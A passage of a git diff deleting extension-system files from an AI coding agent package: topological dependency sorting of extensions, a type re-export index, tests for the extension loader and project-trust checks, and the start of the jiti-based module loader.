= mkdtempSync(join(tmpdir(), "ext-sort-")); - const noManifestDir = join(base, "no-manifest"); - mkdirSync(noManifestDir, { recursive: true }); - writeFileSync( - join(noManifestDir, "index.ts"), - `export default function() {}`, - ); - const noManifestPath = join(noManifestDir, "index.ts"); - - const pathWithManifest = createExtDir(base, "with-manifest"); - - const result = sortExtensionPaths([pathWithManifest, noManifestPath]); - assert.equal(result.sortedPaths[0], noManifestPath); - assert.equal(result.sortedPaths[1], pathWithManifest); - }); - - it("handles non-array dependencies gracefully", () => { - const base = mkdtempSync(join(tmpdir(), "ext-sort-")); - const dir = join(base, "bad-deps"); - mkdirSync(dir, { recursive: true }); - writeFileSync( - join(dir, "extension-manifest.json"), - JSON.stringify({ - id: "bad-deps", - name: "bad-deps", - version: "1.0.0", - tier: "bundled", - dependencies: { extensions: "not-an-array" }, - }), - ); - writeFileSync(join(dir, "index.ts"), `export default function() {}`); - - const result = sortExtensionPaths([join(dir, "index.ts")]); - assert.equal(result.sortedPaths.length, 1); - assert.equal(result.warnings.length, 0); - }); -}); diff --git a/packages/pi-coding-agent/src/core/extensions/extension-sort.ts b/packages/pi-coding-agent/src/core/extensions/extension-sort.ts deleted file mode 100644 index 8d16a215f..000000000 --- a/packages/pi-coding-agent/src/core/extensions/extension-sort.ts +++ /dev/null @@ -1,137 +0,0 @@ -// SF — Extension Sort: Topological dependency ordering -// Copyright (c) 2026 Jeremy McSpadden - -import { readManifestFromEntryPath } from "./extension-manifest.js"; - -export interface SortWarning { - declaringId: string; - missingId: string; - message: string; -} - -export interface SortResult { - sortedPaths: string[]; - warnings: SortWarning[]; -} - -/** - * Sort extension entry paths in topological dependency-first order using Kahn's BFS algorithm. - * - * - Extensions without manifests are prepended in input order. - * - Missing dependencies produce a structured warning but do not block loading. - * - Cycles produce warnings; cycle participants are appended alphabetically. - * - Self-dependencies are silently ignored. - */ -export function sortExtensionPaths(paths: string[]): SortResult { - const warnings: SortWarning[] = []; - const pathsWithoutId: string[] = []; - const idToPath = new Map(); - - // Step 1: Build ID map - for (const p of paths) { - const manifest = readManifestFromEntryPath(p); - if (!manifest) { - pathsWithoutId.push(p); - } else { - idToPath.set(manifest.id, p); - } - } - - // Step 2: Build graph — inDegree and dependents adjacency - const inDegree = new Map(); - const dependents = new Map(); // dep → [ids that depend on dep] - - for (const id of idToPath.keys()) { - if (!inDegree.has(id)) inDegree.set(id, 0); - if (!dependents.has(id)) dependents.set(id, []); - } - - for (const [id, entryPath] of idToPath) { - const manifest = readManifestFromEntryPath(entryPath); - const rawDeps = manifest?.dependencies?.extensions ?? []; - const deps = Array.isArray(rawDeps) ? rawDeps : []; - - for (const depId of deps) { - // Silently ignore self-deps - if (depId === id) continue; - - if (!idToPath.has(depId)) { - // Missing dependency — warn and skip edge - warnings.push({ - declaringId: id, - missingId: depId, - message: `Extension '${id}' declares dependency '${depId}' which is not installed — loading anyway`, - }); - continue; - } - - // Valid edge: id depends on depId → increment inDegree[id], add id to dependents[depId] - inDegree.set(id, (inDegree.get(id) ?? 0) + 1); - const depDependents = dependents.get(depId) ?? []; - depDependents.push(id); - dependents.set(depId, depDependents); - } - } - - // Step 3: Kahn's algorithm — start with nodes that have inDegree 0 - const sorted: string[] = []; - // Ready queue: IDs with inDegree 0, maintained in alphabetical order - const ready: string[] = [...idToPath.keys()] - .filter((id) => inDegree.get(id) === 0) - .sort(); - - while (ready.length > 0) { - const id = ready.shift()!; - sorted.push(idToPath.get(id)!); - - const deps = dependents.get(id) ?? []; - for (const depId of deps) { - const newDegree = (inDegree.get(depId) ?? 0) - 1; - inDegree.set(depId, newDegree); - if (newDegree === 0) { - // Insert into ready queue maintaining alphabetical order - const insertIdx = ready.findIndex((r) => r > depId); - if (insertIdx === -1) { - ready.push(depId); - } else { - ready.splice(insertIdx, 0, depId); - } - } - } - } - - // Step 4: Cycle handling — any remaining IDs with inDegree > 0 - const cycleIds = [...idToPath.keys()] - .filter((id) => (inDegree.get(id) ?? 0) > 0) - .sort(); - - if (cycleIds.length > 0) { - const cycleSet = new Set(cycleIds); - - for (const id of cycleIds) { - const entryPath = idToPath.get(id)!; - const manifest = readManifestFromEntryPath(entryPath); - const rawDeps = manifest?.dependencies?.extensions ?? []; - const deps = Array.isArray(rawDeps) ? rawDeps : []; - - for (const depId of deps) { - if (depId === id) continue; - if (!cycleSet.has(depId)) continue; - - // Both id and depId are in cycle — emit warning - warnings.push({ - declaringId: id, - missingId: depId, - message: `Extension '${id}' and '${depId}' form a dependency cycle — loading both anyway (alphabetical order)`, - }); - } - - sorted.push(entryPath); - } - } - - return { - sortedPaths: [...pathsWithoutId, ...sorted], - warnings, - }; -} diff --git a/packages/pi-coding-agent/src/core/extensions/index.ts b/packages/pi-coding-agent/src/core/extensions/index.ts deleted file mode 100644 index 64025fc41..000000000 --- a/packages/pi-coding-agent/src/core/extensions/index.ts +++ /dev/null @@ -1,178 +0,0 @@ -/** - * Extension system for lifecycle events and custom tools. - */ - -export type { - SlashCommandInfo, - SlashCommandLocation, - SlashCommandSource, -} from "../slash-commands.js"; -export type { ExtensionManifest } from "./extension-manifest.js"; -export { - readManifest, - readManifestFromEntryPath, -} from "./extension-manifest.js"; -export type { SortResult, SortWarning } from "./extension-sort.js"; -export { sortExtensionPaths } from "./extension-sort.js"; -export { - createExtensionRuntime, - discoverAndLoadExtensions, - getUntrustedExtensionPaths, - importExtensionModule, - isProjectTrusted, - loadExtensionFromFactory, - loadExtensions, - trustProject, -} from "./loader.js"; -export type { - ExtensionErrorListener, - ForkHandler, - NavigateTreeHandler, - NewSessionHandler, - ShutdownHandler, - SwitchSessionHandler, -} from "./runner.js"; -export { ExtensionRunner } from "./runner.js"; -export type { - // Events - Adjust Tool Set (ADR-005) - AdjustToolSetEvent, - AdjustToolSetResult, - AgentEndEvent, - AgentStartEvent, - // Re-exports - AgentToolResult, - AgentToolUpdateCallback, - // App keybindings (for custom editors) - AppAction, - // Events - Tool (ToolCallEvent types) - BashToolCallEvent, - BashToolResultEvent, - BashTransformEvent, - BashTransformEventResult, - BeforeAgentStartEvent, - BeforeAgentStartEventResult, - BeforeProviderRequestEvent, - BeforeProviderRequestEventResult, - // Context - CompactOptions, - // Events - Agent - ContextEvent, - // Event Results - ContextEventResult, - ContextUsage, - CustomToolCallEvent, - CustomToolResultEvent, - EditToolCallEvent, - EditToolResultEvent, - ExecOptions, - ExecResult, - Extension, - ExtensionActions, - // API - ExtensionAPI, - ExtensionCommandContext, - ExtensionCommandContextActions, - ExtensionContext, - ExtensionContextActions, - // Errors - ExtensionError, - ExtensionEvent, - ExtensionFactory, - ExtensionFlag, - ExtensionHandler, - // Runtime - ExtensionRuntime, - ExtensionShortcut, - ExtensionStartupContext, - ExtensionUIContext, - ExtensionUIDialogOptions, - ExtensionWidgetOptions, - FindToolCallEvent, - FindToolResultEvent, - GrepToolCallEvent, - GrepToolResultEvent, - // Events - Input - InputEvent, - InputEventResult, - InputSource, - KeybindingsManager, - LifecycleHookContext, - LifecycleHookHandler, - LifecycleHookMap, - LifecycleHookPhase, - LifecycleHookScope, - LoadExtensionsResult, - LsToolCallEvent, - LsToolResultEvent, - // Events - Message - MessageEndEvent, - // Message Rendering - MessageRenderer, - MessageRenderOptions, - MessageStartEvent, - MessageUpdateEvent, - ModelSelectEvent, - ModelSelectSource, - // Provider Registration - ProviderConfig, - ProviderModelConfig, - ReadToolCallEvent, - ReadToolResultEvent, - // Commands - RegisteredCommand, - RegisteredTool, - // Events - Resources - ResourcesDiscoverEvent, - ResourcesDiscoverResult, - SessionBeforeCompactEvent, - SessionBeforeCompactResult, - SessionBeforeForkEvent, - SessionBeforeForkResult, - SessionBeforeSwitchEvent, - SessionBeforeSwitchResult, - SessionBeforeTreeEvent, - SessionBeforeTreeResult, - SessionCompactEvent, - SessionDirectoryEvent, - SessionDirectoryHandler, - SessionDirectoryResult, - SessionEvent, - SessionForkEvent, - SessionShutdownEvent, - // Events - Session - SessionStartEvent, - SessionSwitchEvent, - SessionTreeEvent, - TerminalInputHandler, - // Events - Tool - ToolCallEvent, - ToolCallEventResult, - // Tools - ToolCompatibility, - ToolDefinition, - // Events - Tool Execution - ToolExecutionEndEvent, - ToolExecutionStartEvent, - ToolExecutionUpdateEvent, - ToolInfo, - ToolRenderResultOptions, - ToolResultEvent, - ToolResultEventResult, - TreePreparation, - TurnEndEvent, - TurnStartEvent, - // Events - User Bash - UserBashEvent, - UserBashEventResult, - WidgetPlacement, - WriteToolCallEvent, - WriteToolResultEvent, -} from "./types.js"; -// Type guards -export { isToolCallEventType, isToolResultEventType } from "./types.js"; -export { - wrapRegisteredTool, - wrapRegisteredTools, - wrapToolsWithExtensions, - wrapToolWithExtensions, -} from "./wrapper.js"; diff --git a/packages/pi-coding-agent/src/core/extensions/loader.test.ts b/packages/pi-coding-agent/src/core/extensions/loader.test.ts deleted file mode 100644 index f5561588d..000000000 --- a/packages/pi-coding-agent/src/core/extensions/loader.test.ts +++ /dev/null @@ -1,388 +0,0 @@ -import assert from "node:assert/strict"; -import * as fs from "node:fs"; -import * as os from "node:os"; -import * as path from "node:path"; -import { pathToFileURL } from "node:url"; -import { afterEach, beforeEach, describe, it } from "vitest"; -import { - containsTypeScriptSyntax, - importExtensionModule, - loadExtensions, - resetExtensionLoaderCache, -} from "./loader.js"; -import { - getUntrustedExtensionPaths, - isProjectTrusted, - trustProject, -} from "./project-trust.js"; - -// ─── helpers ────────────────────────────────────────────────────────────────── - -function makeTempDir(): string { - return fs.mkdtempSync(path.join(os.tmpdir(), "loader-test-")); -} - -function cleanDir(dir: string): void { - fs.rmSync(dir, { recursive: true, force: true }); -} - -// ─── isProjectTrusted ───────────────────────────────────────────────────────── - -describe("isProjectTrusted", () => { - let agentDir: string; - - beforeEach(() => { - agentDir = makeTempDir(); - }); - - afterEach(() => { - cleanDir(agentDir); - }); - - it("returns false when no trusted-projects.json exists", () => { - assert.equal(isProjectTrusted("/some/project", agentDir), false); - }); - - it("returns false for an untrusted project path", () => { - trustProject("/trusted/project", agentDir); - assert.equal(isProjectTrusted("/other/project", agentDir), false); - }); - - it("returns true after trustProject is called for that path", () => { - trustProject("/trusted/project", agentDir); - assert.equal(isProjectTrusted("/trusted/project", agentDir), true); - }); - - it("canonicalizes paths before comparison (trailing slash)", () => { - trustProject("/my/project/", agentDir); - assert.equal(isProjectTrusted("/my/project", agentDir), true); - }); - - it("returns false when trusted-projects.json is malformed JSON", () => { - fs.mkdirSync(agentDir, { recursive: true }); - fs.writeFileSync(path.join(agentDir, "trusted-projects.json"), "not json"); - assert.equal(isProjectTrusted("/any/project", agentDir), false); - }); - - it("returns false when trusted-projects.json contains non-array", () => { - fs.mkdirSync(agentDir, { recursive: true }); - fs.writeFileSync( - path.join(agentDir, "trusted-projects.json"), - JSON.stringify({ foo: "bar" }), - ); - assert.equal(isProjectTrusted("/any/project", agentDir), false); - }); -}); - -// ─── trustProject ───────────────────────────────────────────────────────────── - -describe("trustProject", () => { - let agentDir: string; - - beforeEach(() => { - agentDir = makeTempDir(); - }); - - afterEach(() => { - cleanDir(agentDir); - }); - - it("creates agentDir if it does not exist", () => { - const nested = path.join(agentDir, "deeply", "nested"); - trustProject("/a/project", nested); - assert.ok(fs.existsSync(nested)); - }); - - it("persists the trusted path to trusted-projects.json", () => { - trustProject("/a/project", agentDir); - const content = JSON.parse( - fs.readFileSync(path.join(agentDir, "trusted-projects.json"), "utf-8"), - ); - assert.ok(Array.isArray(content)); - assert.ok(content.includes(path.resolve("/a/project"))); - }); - - it("accumulates multiple trusted projects", () => { - trustProject("/project/one", agentDir); - trustProject("/project/two", agentDir); - const content = JSON.parse( - fs.readFileSync(path.join(agentDir, "trusted-projects.json"), "utf-8"), - ); - assert.equal(content.length, 2); - }); - - it("does not duplicate already-trusted paths", () => { - trustProject("/project/one", agentDir); - trustProject("/project/one", agentDir); - const content = JSON.parse( - fs.readFileSync(path.join(agentDir, "trusted-projects.json"), "utf-8"), - ); - assert.equal(content.length, 1); - }); -}); - -// ─── getUntrustedExtensionPaths ─────────────────────────────────────────────── - -describe("getUntrustedExtensionPaths", () => { - let agentDir: string; - - beforeEach(() => { - agentDir = makeTempDir(); - }); - - afterEach(() => { - cleanDir(agentDir); - }); - - it("returns all paths when project is not trusted", () => { - const paths = ["/proj/.pi/extensions/a.ts", "/proj/.pi/extensions/b.ts"]; - const result = getUntrustedExtensionPaths("/proj", paths, agentDir); - assert.deepEqual(result, paths); - }); - - it("returns empty array when project is trusted", () => { - trustProject("/proj", agentDir); - const paths = ["/proj/.pi/extensions/a.ts", "/proj/.pi/extensions/b.ts"]; - const result = getUntrustedExtensionPaths("/proj", paths, agentDir); - assert.deepEqual(result, []); - }); - - it("returns empty array when extension paths list is empty regardless of trust", () => { - const result = getUntrustedExtensionPaths("/proj", [], agentDir); - assert.deepEqual(result, []); - }); - - it("trusting one project does not affect another", () => { - trustProject("/project/a", agentDir); - const paths = ["/project/b/.pi/extensions/evil.ts"]; - const result = getUntrustedExtensionPaths("/project/b", paths, agentDir); - assert.deepEqual(result, paths); - }); -}); - -// ─── containsTypeScriptSyntax ───────────────────────────────────────────────── - -describe("containsTypeScriptSyntax", () => { - it("detects parameter type annotations", () => { - assert.ok( - containsTypeScriptSyntax( - `export default function activate(api: ExtensionAPI) {}`, - ), - ); - }); - - it("detects interface declarations", () => { - assert.ok(containsTypeScriptSyntax(`interface Config { name: string; }`)); - }); - - it("detects type alias declarations", () => { - assert.ok( - containsTypeScriptSyntax(`type Handler = (event: string) => void;`), - ); - }); - - it("detects enum declarations", () => { - assert.ok( - containsTypeScriptSyntax(`enum Direction { Up, Down, Left, Right }`), - ); - }); - - it("detects return type annotations", () => { - assert.ok(containsTypeScriptSyntax(`function foo(): Promise {}`)); - }); - - it("detects generic type parameters on functions", () => { - assert.ok( - containsTypeScriptSyntax(`function identity(arg) { return arg; }`), - ); - }); - - it("detects variable type annotations", () => { - assert.ok(containsTypeScriptSyntax(`const name: string = "hello";`)); - }); - - it("returns false for plain JavaScript", () => { - assert.equal( - containsTypeScriptSyntax( - `export default function activate(api) { api.on("init", () => {}); }`, - ), - false, - ); - }); - - it("returns false for empty string", () => { - assert.equal(containsTypeScriptSyntax(""), false); - }); - - it("returns false for JSDoc comments with type-like syntax", () => { - // JSDoc uses different syntax: @param {string} name - assert.equal( - containsTypeScriptSyntax( - `/** @param {string} name */\nexport default function activate(api) {}`, - ), - false, - ); - }); - - it("returns false for multiline TypeBox object literals in valid JavaScript", () => { - const source = `import { Type } from "@sinclair/typebox"; -const Params = Type.Object({ - questions: Type.Array(QuestionSchema, { - description: "Questions to show the user.", - }), -}); -export default function activate(api) { api.tool({ name: "ok", parameters: Params }); }`; - - assert.equal(containsTypeScriptSyntax(source), false); - }); -}); - -// ─── loadExtensions: TypeScript syntax in .js files ─────────────────────────── - -describe("loadExtensions", () => { - let tmpDir: string; - - beforeEach(() => { - tmpDir = makeTempDir(); - }); - - afterEach(() => { - cleanDir(tmpDir); - }); - - it("reports helpful error when .js file contains TypeScript syntax", async () => { - // Create a .js file that uses TypeScript type annotations - const extPath = path.join(tmpDir, "my-extension.js"); - fs.writeFileSync( - extPath, - `export default function activate(api: ExtensionAPI) {\n api.on("init", async () => {});\n}\n`, - ); - - const result = await loadExtensions([extPath], tmpDir); - - assert.equal(result.errors.length, 1); - const errorMsg = result.errors[0].error; - // The error should mention TypeScript syntax and suggest .ts extension - assert.ok( - /TypeScript/.test(errorMsg) && /\.ts\b/.test(errorMsg), - `Expected error to mention TypeScript syntax and .ts extension, got: ${errorMsg}`, - ); - }); - - it("reports helpful error when .js file contains TS interface declaration", async () => { - const extPath = path.join(tmpDir, "typed-ext.js"); - fs.writeFileSync( - extPath, - `interface Config { name: string; }\nexport default function activate(api) { return; }\n`, - ); - - const result = await loadExtensions([extPath], tmpDir); - - assert.equal(result.errors.length, 1); - const errorMsg = result.errors[0].error; - assert.ok( - /TypeScript/.test(errorMsg) && /\.ts\b/.test(errorMsg), - `Expected error to mention TypeScript syntax and .ts extension, got: ${errorMsg}`, - ); - }); - - it("loads native ESM .js extensions without jiti __dirname rewrites", async () => { - fs.writeFileSync( - path.join(tmpDir, "package.json"), - JSON.stringify({ type: "module" }), - ); - const extPath = path.join(tmpDir, "esm-extension.js"); - fs.writeFileSync( - extPath, - `const here = import.meta.dirname; -export default function activate(api) { - if (!here) throw new Error("missing import.meta.dirname"); - api.registerCommand("esm-ok", { description: "ok", async handler() { return "ok"; } }); -} -`, - ); - - const result = await loadExtensions([extPath], tmpDir); - - assert.equal(result.errors.length, 0); - assert.equal(result.extensions.length, 1); - assert.equal(result.extensions[0]?.commands.has("esm-ok"), true); - }); -}); - -describe("importExtensionModule", () => { - let tmpDir: string; - - beforeEach(() => { - tmpDir = makeTempDir(); - fs.writeFileSync( - path.join(tmpDir, "package.json"), - JSON.stringify({ type: "module" }), - ); - }); - - afterEach(() => { - cleanDir(tmpDir); - }); - - it("loads sibling ESM .js modules without jiti __dirname rewrites", async () => { - const parentPath = path.join(tmpDir, "parent.js"); - const childPath = path.join(tmpDir, "child.js"); - fs.writeFileSync(parentPath, "export default function parent() {}\n"); - fs.writeFileSync( - childPath, - `export const here = import.meta.dirname; -if (!here) throw new Error("missing import.meta.dirname"); -`, - ); - - const mod = await importExtensionModule<{ here: string }>( - pathToFileURL(parentPath).href, - "./child.js", - ); - - assert.equal(mod.here, tmpDir); - }); -}); - -// ─── resetExtensionLoaderCache ─────────────────────────────────────────────── - -describe("resetExtensionLoaderCache", () => { - let tmpDir: string; - - beforeEach(() => { - tmpDir = makeTempDir(); - // Always start with a clean cache so tests are independent - resetExtensionLoaderCache(); - }); - - afterEach(() => { - resetExtensionLoaderCache(); - cleanDir(tmpDir); - }); - - it("clears the jiti singleton so a fresh instance is created on next load", async () => { - // Write a minimal valid extension that returns a name - const extPath = path.join(tmpDir, "cache-ext.ts"); - fs.writeFileSync( - extPath, - `export default function activate(api: any) { return { name: "cache-ext" }; }\n`, - ); - - // First load — creates the jiti singleton and caches the module - const result1 = await loadExtensions([extPath], tmpDir); - assert.equal(result1.extensions.length, 1, "first load should succeed"); - - // Reset the cache — nulls the singleton - resetExtensionLoaderCache(); - - // Second load — should create a new jiti instance (not reuse the old one) - // and still successfully load the extension - const result2 = await loadExtensions([extPath], tmpDir); - assert.equal( - result2.extensions.length, - 1, - "load after reset should succeed with fresh jiti", - ); - }); -}); diff --git a/packages/pi-coding-agent/src/core/extensions/loader.ts b/packages/pi-coding-agent/src/core/extensions/loader.ts deleted file mode 100644 index 9cf2dee4e..000000000 --- a/packages/pi-coding-agent/src/core/extensions/loader.ts +++ /dev/null @@ -1,1187 +0,0 @@ -/** - * Extension loader - loads TypeScript extension modules using jiti. - * - * Uses @mariozechner/jiti fork with virtualModules support for compiled Bun binaries. - */ - -import * as fs from "node:fs"; -import { createRequire } from "node:module"; -import * as os from "node:os"; -import * as path from "node:path"; -import { fileURLToPath, pathToFileURL } from "node:url"; -import { createJiti } from "@mariozechner/jiti"; -import * as _bundledMcpClient from "@modelcontextprotocol/sdk/client"; -import * as _bundledMcpSse from "@modelcontextprotocol/sdk/client/sse.js"; -import * as _bundledMcpStdio from "@modelcontextprotocol/sdk/client/stdio.js"; -import * as _bundledMcpStreamableHttp from "@modelcontextprotocol/sdk/client/streamableHttp.js"; -import * as _bundledMcpServer from "@modelcontextprotocol/sdk/server"; -import * as _bundledMcpServerSse from "@modelcontextprotocol/sdk/server/sse.js"; -import * as _bundledMcpServerStdio from "@modelcontextprotocol/sdk/server/stdio.js"; -import * as _bundledMcpServerStreamableHttp from "@modelcontextprotocol/sdk/server/streamableHttp.js"; -import * as _bundledMcpTypes from "@modelcontextprotocol/sdk/types.js"; -// Static imports of packages that extensions may use. -// These MUST be static so Bun bundles them into the compiled binary. -// The virtualModules option then makes them available to extensions. -import * as _bundledTypebox from "@sinclair/typebox"; -import * as _bundledPiAgentCore from "@singularity-forge/pi-agent-core"; -import * as _bundledPiAi from "@singularity-forge/pi-ai"; -import * as _bundledPiAiOauth from "@singularity-forge/pi-ai/oauth"; -import type { KeyId } from "@singularity-forge/pi-tui"; -import * as _bundledPiTui from "@singularity-forge/pi-tui"; -import * as _bundledYaml from "yaml"; -import { getAgentDir, isBunBinary } from "../../config.js"; -// NOTE: This import works because loader.ts exports are NOT re-exported from index.ts, -// avoiding a circular dependency. Extensions can import from "@singularity-forge/pi-coding-agent. -import * as _bundledPiCodingAgent from "../../index.js"; -import { createEventBus, type EventBus } from "../event-bus.js"; -import type { ExecOptions } from "../exec.js"; -import { execCommand } from "../exec.js"; -import { getUntrustedExtensionPaths } from "./project-trust.js"; - -export { - getUntrustedExtensionPaths, - isProjectTrusted, - trustProject, -} from "./project-trust.js"; - -import { registerToolCompatibility } from "../tools/tool-compatibility-registry.js"; -import type { - Extension, - ExtensionAPI, - ExtensionFactory, - ExtensionRuntime, - LifecycleHookHandler, - LoadExtensionsResult, - MessageRenderer, - ProviderConfig, - RegisteredCommand, - ToolDefinition, -} from "./types.js"; - -/** - * Statically imported modules for Bun binary virtualModules. - * Maps specifier -> module object for subpaths that must be available in compiled binaries. - */ -const STATIC_BUNDLED_MODULES: Record = { - "@sinclair/typebox": _bundledTypebox, - "@singularity-forge/pi-agent-core": _bundledPiAgentCore, - "@singularity-forge/pi-tui": _bundledPiTui, - "@singularity-forge/pi-ai": _bundledPiAi, - "@singularity-forge/pi-ai/oauth": _bundledPiAiOauth, - "@singularity-forge/pi-coding-agent": _bundledPiCodingAgent, - yaml: _bundledYaml, - "@modelcontextprotocol/sdk/client": _bundledMcpClient, - "@modelcontextprotocol/sdk/client/stdio": _bundledMcpStdio, - "@modelcontextprotocol/sdk/client/stdio.js": _bundledMcpStdio, - "@modelcontextprotocol/sdk/client/streamableHttp": _bundledMcpStreamableHttp, - "@modelcontextprotocol/sdk/client/streamableHttp.js": - _bundledMcpStreamableHttp, - "@modelcontextprotocol/sdk/client/sse": _bundledMcpSse, - "@modelcontextprotocol/sdk/client/sse.js": _bundledMcpSse, - "@modelcontextprotocol/sdk/server": _bundledMcpServer, - "@modelcontextprotocol/sdk/server/stdio": _bundledMcpServerStdio, - "@modelcontextprotocol/sdk/server/stdio.js": _bundledMcpServerStdio, - "@modelcontextprotocol/sdk/server/sse": _bundledMcpServerSse, - "@modelcontextprotocol/sdk/server/sse.js": _bundledMcpServerSse, - "@modelcontextprotocol/sdk/server/streamableHttp": - _bundledMcpServerStreamableHttp, - "@modelcontextprotocol/sdk/server/streamableHttp.js": - _bundledMcpServerStreamableHttp, - "@modelcontextprotocol/sdk/types": _bundledMcpTypes, - "@modelcontextprotocol/sdk/types.js": _bundledMcpTypes, - // Aliases for external PI ecosystem packages that import from the original scope - "@mariozechner/pi-agent-core": _bundledPiAgentCore, - "@mariozechner/pi-tui": _bundledPiTui, - "@mariozechner/pi-ai": _bundledPiAi, - "@mariozechner/pi-ai/oauth": _bundledPiAiOauth, - "@mariozechner/pi-coding-agent": _bundledPiCodingAgent, -}; - -/** Modules available to extensions via virtualModules (for compiled Bun binary) */ -const VIRTUAL_MODULES: Record = { ...STATIC_BUNDLED_MODULES }; - -const require = createRequire(import.meta.url); -const EXTENSION_TIMING_ENABLED = - process.env.SF_STARTUP_TIMING === "1" || process.env.PI_TIMING === "1"; - -/** - * Bundled npm packages whose subpath exports should be auto-resolved for extensions. - * Each package listed here will have its `exports` field read from package.json, - * and all subpath exports will be registered as jiti aliases (Node.js mode) so that - * extensions can import any standard subpath without hitting jiti's CJS double-resolve bug. - */ -const BUNDLED_PACKAGES_WITH_EXPORTS = ["@modelcontextprotocol/sdk", "yaml"]; - -/** - * Read a package's `exports` field and return alias entries mapping - * specifiers (e.g. `@modelcontextprotocol/sdk/server`) to resolved file paths. - * - * Handles: - * - Explicit subpath exports: `./client` -> `@pkg/client` - * - Wildcard exports (`./*`): scans the package's dist directory for actual files - * - Both `.js`-suffixed and bare specifiers for each subpath - */ -function resolveSubpathExports(packageName: string): Record { - const aliases: Record = {}; - - let packageJsonPath: string; - try { - // Resolve the package's root directory via its package.json - packageJsonPath = require.resolve(`${packageName}/package.json`); - } catch { - // Package doesn't allow importing package.json via exports — find it manually - try { - const anyEntry = require.resolve(packageName); - // Walk up from the resolved entry to find package.json - let dir = path.dirname(anyEntry); - while (dir !== path.dirname(dir)) { - const candidate = path.join(dir, "package.json"); - if (fs.existsSync(candidate)) { - try { - const pkg = JSON.parse(fs.readFileSync(candidate, "utf-8")); - if (pkg.name === packageName) { - packageJsonPath = candidate; - break; - } - } catch { - // not valid JSON, keep walking - } - } - dir = path.dirname(dir); - } - } catch { - return aliases; - } - if (!packageJsonPath!) return aliases; - } - - let pkg: { exports?: Record }; - try { - pkg = JSON.parse(fs.readFileSync(packageJsonPath, "utf-8")); - } catch { - return aliases; - } - - const exports = pkg.exports; - if (!exports || typeof exports !== "object") return aliases; - - const packageDir = path.dirname(packageJsonPath); - - for (const [subpath, target] of Object.entries(exports)) { - if (subpath === ".") continue; // Root export handled by static imports - - // Handle wildcard exports like "./*" - if (subpath.includes("*")) { - resolveWildcardExports(packageName, packageDir, subpath, target, aliases); - continue; - } - - // Explicit subpath: "./client" -> "@pkg/client" - const specifier = `${packageName}/${subpath.replace(/^\.\//, "")}`; - - try { - const resolved = require.resolve(specifier); - aliases[specifier] = resolved; - - // Add .js-suffixed variant if the specifier doesn't already end in .js - if (!specifier.endsWith(".js")) { - const jsSpecifier = `${specifier}.js`; - try { - const jsResolved = require.resolve(jsSpecifier); - aliases[jsSpecifier] = jsResolved; - } catch { - // .js variant doesn't resolve — that's fine - } - } - - // Add bare variant (without .js) if it ends in .js - if (specifier.endsWith(".js")) { - const bareSpecifier = specifier.slice(0, -3); - try { - const bareResolved = require.resolve(bareSpecifier); - aliases[bareSpecifier] = bareResolved; - } catch { - // bare variant doesn't resolve — that's fine - } - } - } catch { - // Subpath doesn't resolve — skip it - } - } - - return aliases; -} - -/** - * Resolve wildcard export patterns (e.g. `./*`) by scanning the package's - * file structure to find all matching files and generate alias entries. - */ -function resolveWildcardExports( - packageName: string, - packageDir: string, - subpathPattern: string, - target: unknown, - aliases: Record, -): void { - // Extract the target directory pattern from the export target - // e.g. { "require": "./dist/cjs/*" } -> "dist/cjs" - let targetDir: string | null = null; - - if (typeof target === "string") { - targetDir = target.replace(/\/\*$/, "").replace(/^\.\//, ""); - } else if (target && typeof target === "object") { - const targetObj = target as Record; - // Prefer "require" for CJS compatibility with jiti, fall back to "import" - const resolved = targetObj.require ?? targetObj.import ?? targetObj.default; - if (typeof resolved === "string") { - targetDir = resolved.replace(/\/\*$/, "").replace(/^\.\//, ""); - } - } - - if (!targetDir) return; - - const fullTargetDir = path.join(packageDir, targetDir); - if (!fs.existsSync(fullTargetDir)) return; - - // Scan for .js files and generate specifiers - const subpathPrefix = subpathPattern - .replace(/\/?\*$/, "") - .replace(/^\.\//, ""); - scanDirForExports(packageName, fullTargetDir, subpathPrefix, aliases); -} - -/** - * Recursively scan a directory for .js files and register them as aliases. - */ -function scanDirForExports( - packageName: string, - dir: string, - relativePath: string, - aliases: Record, -): void { - let entries: fs.Dirent[]; - try { - entries = fs.readdirSync(dir, { withFileTypes: true }); - } catch { - return; - } - - for (const entry of entries) { - const entryRelative = relativePath - ? `${relativePath}/${entry.name}` - : entry.name; - - if (entry.isDirectory()) { - // Skip examples/test directories — extensions don't need them - if ( - entry.name === "examples" || - entry.name === "__tests__" || - entry.name === "test" - ) - continue; - scanDirForExports( - packageName, - path.join(dir, entry.name), - entryRelative, - aliases, - ); - } else if (entry.name.endsWith(".js") && !entry.name.endsWith(".d.js")) { - const filePath = path.join(dir, entry.name); - const specifier = `${packageName}/${entryRelative}`; - // Only add if not already covered by an explicit export - if (!(specifier in aliases)) { - aliases[specifier] = filePath; - } - // Also add bare (no .js) variant - const bareSpecifier = specifier.replace(/\.js$/, ""); - if (!(bareSpecifier in aliases)) { - aliases[bareSpecifier] = filePath; - } - } - } -} - -function logExtensionTiming( - extensionPath: string, - ms: number, - outcome: "loaded" | "failed", -): void { - if (!EXTENSION_TIMING_ENABLED) return; - console.error(`[startup] extension ${outcome}: ${extensionPath} (${ms}ms)`); -} - -/** - * Get aliases for jiti (used in Node.js/development mode). - * In Bun binary mode, virtualModules is used instead. - */ -let _aliases: Record | null = null; -function getAliases(): Record { - if (_aliases) return _aliases; - - const packageIndex = path.resolve(import.meta.dirname, "../..", "index.js"); - - const typeboxEntry = require.resolve("@sinclair/typebox"); - const typeboxRoot = typeboxEntry.replace( - /[\\/]build[\\/]cjs[\\/]index\.js$/, - "", - ); - - const yamlEntry = require.resolve("yaml"); - const yamlRoot = yamlEntry.replace(/[\\/]dist[\\/]index\.js$/, ""); - - const packagesRoot = path.resolve(__dirname, "../../../../"); - const resolveWorkspaceOrImport = ( - workspaceRelativePath: string, - specifier: string, - ): string => { - const workspacePath = path.join(packagesRoot, workspaceRelativePath); - if (fs.existsSync(workspacePath)) { - return workspacePath; - } - return fileURLToPath(import.meta.resolve(specifier)); - }; - - // Auto-discover subpath exports from bundled npm packages. - // This ensures extensions can import any standard subpath (e.g. @modelcontextprotocol/sdk/server) - // without hitting jiti's CJS double-resolve bug. - const autoDiscovered: Record = {}; - for (const packageName of BUNDLED_PACKAGES_WITH_EXPORTS) { - const subpathAliases = resolveSubpathExports(packageName); - Object.assign(autoDiscovered, subpathAliases); - } - - _aliases = { - // Auto-discovered subpath exports (lowest priority — overridden by manual entries below) - ...autoDiscovered, - // Manual entries for workspace packages and packages needing special resolution - "@singularity-forge/pi-coding-agent": packageIndex, - "@singularity-forge/pi-agent-core": resolveWorkspaceOrImport( - "agent/dist/index.js", - 